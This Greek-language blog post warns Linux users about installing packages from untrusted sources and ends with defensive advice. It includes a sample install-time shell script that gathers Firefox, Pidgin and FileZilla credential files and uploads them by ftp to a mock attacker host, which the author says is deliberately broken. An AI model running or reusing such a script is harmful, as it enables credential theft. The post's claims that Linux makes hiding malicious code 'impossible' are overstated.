Η ασφάλεια του λειτουργικού συστήματος Linux είναι αδιαμφισβήτητη. Έχει ευρεία χρήση σε όλους τους τομείς τις βιομηχανίας και τα τελευταία χρόνια έχει σταδιακά “εισβάλει” στα κινητά μας (Android απορίες και συσκευές). Σταδιακά, αν όχι ως αποκλειστικό λειτουργικό, αλλά ως dual boot βρίσκεται σε εκατοντάδες εκατ. υπολογιστών ανά το κόσμο.

Η ανοιχτή φύση του Linux αλλά και η αρχιτεκτονική του δεν αποτελεί προσοδοφόρο έδαφος για την ανάπτυξη ιών, σκουληκιών και πάσης φύσεως κακόβουλου λογισμικού. Από την μία επειδή πολλά μάτια βλέπουν τον κώδικα του που είναι διαθέσιμος για να το κατεβάσει ο καθένας, είναι αδύνατο να κρύψει κάποιος κακόβουλο κώδικα. Από την άλλη επειδή ο χρήστης και τα προγράμματα που τρέχουμε εκτελούνται με ελάχιστα διακαιώματα και πάντα υπό την επιτήρηση του πυρήνα (Linux) και του ανοσοποιητικού συστήματος που διαθέτει (AppArmor και SELinux), είναι αδύνατο κάποιο πρόγραμμα να πάρει την “πρωτοβουλία” και να διαλύει το σύστημά μας.

Όμως υπάρχει πάντα μια κερκόπορτα. Αυτή η κερκόπορτα είναι ο εφησυχασμός που όχι άδικα μας δίνει η ασφάλεια του Linux. Μόλις ολοκληρώσετε την ανάγνωση του κειμένου θα καταλάβετε τι θέλω να πω.

Λίγη θεωρία…

Όταν οι διανομές Linux πριν 10-15 χρόνια είχαν δημιουργήσει τα αποθετήρια (αποθήκες) προγραμμάτων από τα οποία μπορούσε ο χρήστης με ένα κλικ στο Κέντρο Λογισμικού της διανομής του να κάνει εγκατάσταση όποιο πρόγραμμα θέλει, σε άλλα λειτουργικά συστήματα έπρεπε ή μάλλον ακόμα πρέπει ο χρήστης να αναζητάει τα προγράμματά του στο internet και συνήθως σε αμφιβόλου ασφάλειας ιστοσελίδες. Το πλεονέκτημα αυτού του τρόπου διανομής λογισμικού αντιλήφθηκαν οι εταιρίες όπως Nokia (OviStore), Google, (Android Market), Apple (App Store) και ενσωμάτωσαν στις συσκευές τους.

Η ασφάλεια που παρέχει αυτό το σύστημα διανομής λογισμικού έγκειται στο ότι τα προγράμματα που βρίσκονται στα αποθετήρια είναι ψηφιακά υπογεγραμμένα από τους δημιουργούς αυτών των προγραμμάτων. Άρα όταν πηγαίνετε στο Κέντρο Λογισμικού για να κατεβάσετε κάποιο πρόγραμμα εκτελούνται η εξής διεργασίες χωρίς να το αντιληφθείτε:

  • Κάνετε κλικ για εγκατάσταση κάποιου προγράμματος.
  • Το σύστημα ελέγχει να δει αν έχει την ψηφιακή υπογραφή του αποθετηρίου
  • Κατεβάζει το πρόγραμμα
  • Ελέγχει την ακεραιότητα του προγράμματος
  • Συγκρίνει την υπογραφή που διαθέτει το πρόγραμμα με αυτό που έχει το σύστημά σας
  • Τέλος αν όλα είναι σωστά προχωράει στην εγκατάστασή του
Advertisements

Με αυτό τον τρόπο ελέγχου, δεν μπορεί κάποιος κακόβουλος να ενσωματώσει κάποιον περίεργο κώδικα, σε πρόγραμμα που δεν του ανήκει. Επομένως μπορείτε να είστε σίγουροι ότι το πρόγραμμα που κάνετε εγκατάστασή δεν έχει υποστεί κάποια αλλοίωση στο αποθετήριο του.

Stupid Script Kiddies…

Τα πράγματα γίνονται αμφίβολα όταν κατεβάζετε προγράμματα από ξένες πηγές εκτός αποθετηρίων και του Κέντρου Λογισμικού της διανομής σας όπως απο forum, απο “φίλους”, απο siteς και διάφορα άλλα link που θα βρείτε στην πορεία. Βλέπετε ένα από τα πιο δυνατά στοιχεία του Linux είναι και η αχείλια πτέρνα του. Μα μιλάω για την bash scripting, γλώσσα προγραμματισμού. Είναι αυτή η μαγική γλώσσα προγραμματισμού που την μαθαίνεις σε μια μέρα και για όλη σου τη ζωή ψάχνεις να δεις που σταματάνε οι δυνατότητές του.

Θα γίνω ποιο συγκεκριμένος παίρνοντας παράδειγμα από ένα πρόγραμμα που έχω φτιάξει και μπορεί να το χρησιμοποιείτε χωρίς να το ξέρετε. Μιλάω για το uCareSystem το οποίο χρησιμοποιείται για να κατεβάζει, να κάνει εγκατάστασή τις αναβαθμίσεις του συστήματος, να διαγράφει τα προσωρινά αρχεία που έχει κατεβάσει, να καθαρίζει το σύστημα σας από σκουπίδια και να βελτιστοποιεί την μνήμη RAM.

Το πρόγραμμα αυτό από την πρώτη του έκδοση το έχουν κατεβάσει συνολικά πάνω από 10.000 φορές. Είναι απόλυτα ασφαλές και μόνο εγώ έχω πρόσβαση στο αποθετήριο όπου ανεβάζω τον κώδικά του. Ο χρήστης που το κατεβάζει εκτός του ότι εμπιστεύεται εμένα προσωπικά στο ότι δεν έχω προσθέσει κακόβουλο κώδικα μέσα στο πρόγραμμα, έχει την απόλυτη ευχέρεια να δει των κώδικά του και να ελέγξει αν πάει κάτι στραβά.

Γιατί δεν πρέπει να κάνετε εγκατάσταση πακέτα DEB, RPM ή SRC από άγνωστες πηγές

Γιατί όμως δίνω το παράδειγμα του δικού μου προγράμματος; Μα πολύ απλά διότι το uCareSystem είναι ένα απλό script που το μόνο που κάνει είναι να εκτελεί μια σειρά εντολών που είναι μέρος του λειτουργικού συστήματος. Όταν τρέχετε το πρόγραμμα, σας ζητάει το password σας και έτσι οι εντολές που τρέχει είναι σε επίπεδο “υπερχρήστη” με πλήρη δικαιώματα να τροποποιεί τα αρχεία συστήματος.

Αν λοιπόν δεν το κατεβάσετε από το δικό μου αποθετήριο και το βρείτε από κάπου αλλού σε κάποιο περίεργο forum δεν πρέπει να το κατεβάσετε διότι κάποιος κακόβουλος μπορεί να το έχει ανοίξει και να του έχει προσθέσει κακόβουλο κώδικα να το ξαναπακετάρει και να σας το δώσει. Σε αυτή την περίπτωση αν χρησιμοποιείστε τότε την πατήσατε.

Όπως αντιλαμβάνεστε, ούτε κάποιο antivirus μπορεί να αντιληφθεί τη ζημιά που πρόκειται να υποστεί το σύστημά σας αλλά ούτε και το ίδιο το Linux. Όλα αυτά γιατί το πρόγραμμα περιέχει κακόβουλο κώδικα και τρέχει με δικαιώματα υπερχρήστη.

hackety-hack-kid

Για να μην λέμε μόνο θεωρίες θα σας δώσω ένα απλό ψευδο-κώδικα. Έστω κατεβάσατε ένα πρόγραμμα που βρήκατε σε κάποιο forum ή blog και θέλετε να το εγκαταστήσετε.

Για ευκολία ο δημιουργός του προγράμματος παρέχει το πρόγραμμα υπό μορφή DEB, RPM για να είναι εύκολη η εγκατάσταση του σε διανομές Ubuntu, Fedora, SuSe κλπ. Όταν κάνετε διπλό κλικ για να το εγκαταστήσετε σας ζητάει το password σας και μετά γίνεται εγκατάσταση φυσιολογικά. Μάλιστα το ίδιο το πρόγραμμα είναι πολύ καλό και το χρησιμοποιείτε κάθε μέρα.

Η ζημιά όμως που κάνατε στο σύστημά σας ούτε που το αντιληφθήκατε διότι το ίδιο το πρόγραμμα δεν είναι κακόβουλο αλλά περιείχε κώδικα ο οποίος εκτελέστηκε μία φορά κατά τη διάρκεια της εγκατάστασης. Αυτή τη στιγμή έχει μαζέψει πάσης λογής ευαίσθητα προσωπικά δεδομένα και τα έχει στείλει σε απομακρυσμένο ftp server που ανήκει σε κάποιον κακόβουλο χρήστη.

Ο κώδικας που έτρεξε είναι ο παρακάτω:

#!/bin/sh
cp /home/*/.purple/accounts.xml /etc/
cp /home/*/.filezilla/sitemanager.xml /etc/
cd /home/*/.mozilla/firefox/*.default/ /etc/
cp key3.db signons* /etc/
cd /etc/
tar -zcf $.tar.gz key3.db signons* accounts.xml sitemanager.xml
echo "ftp -n ftp.ServerTouMalaka.net << EOT
ascii
user vlakas@ ftp.OserverTouMalaka.net hlithios
put $.tar.gz
close
bye" >/etc/thnpatises.sh
chmod 777 thnpatises.sh
chmod +x thnpatises.sh
/etc/thnpatises.sh &
sleep 3
wget -q http://OserverTouMalaka.net/index.php&
exit

Έχω τροποποιήσει των κώδικα για να μην είναι λειτουργικός ώστε κάποια πιτσιρίκια αλλά και μεγάλοι που το παίζουν βλάκερ να μην μπορέσουν να το χρησιμοποιήσουν. Όμως όσοι αναγνώστες είναι γνώστες του Bash Scripting διαβάζοντας τον παραπάνω κώδικα θα καταλάβουν περίπου τι προσπαθεί να κάνει.

Πως μπορείτε να προστατευτείτε όσοι δεν θέλετε να μάθετε scripting (πραγματικά μαθαίνεται σε μια μέρα);

  1. Να μην προσθέτετε ανεπίσημα αποθετήρια πακέτων, αν δεν είστε σίγουροι ότι το άτομο που το παρέχει είναι έμπιστο
  2. Να μην κατεβάζετε και να μην εγκαταστήσετε πακέτα από ιστοσελίδες που δεν είναι έμπιστες.
  3. Για να εγκαταστήσετε κάποιο πρόγραμμα πρώτα αναζητήστε στο Κέντρο Λογισμικού της διανομής σας.
  4. Πάντα να ελέγχετε τις εντολές που σας προτείνουν να τρέξετε και οι οποίες περιέχουν “sudo” η “su”

Ευτυχώς μπορείτε πάντα πριν να κάνετε διπλό κλικ σε κάποιο πακέτο για εγκατάσταση να το αποσυμπιέσετε και να δείτε αν ο κώδικάς του περιέχει κάτι περίεργο… Αν πάλι για κάτι δεν είστε σίγουροι εδώ είμαστε να λύσουμε απορίες.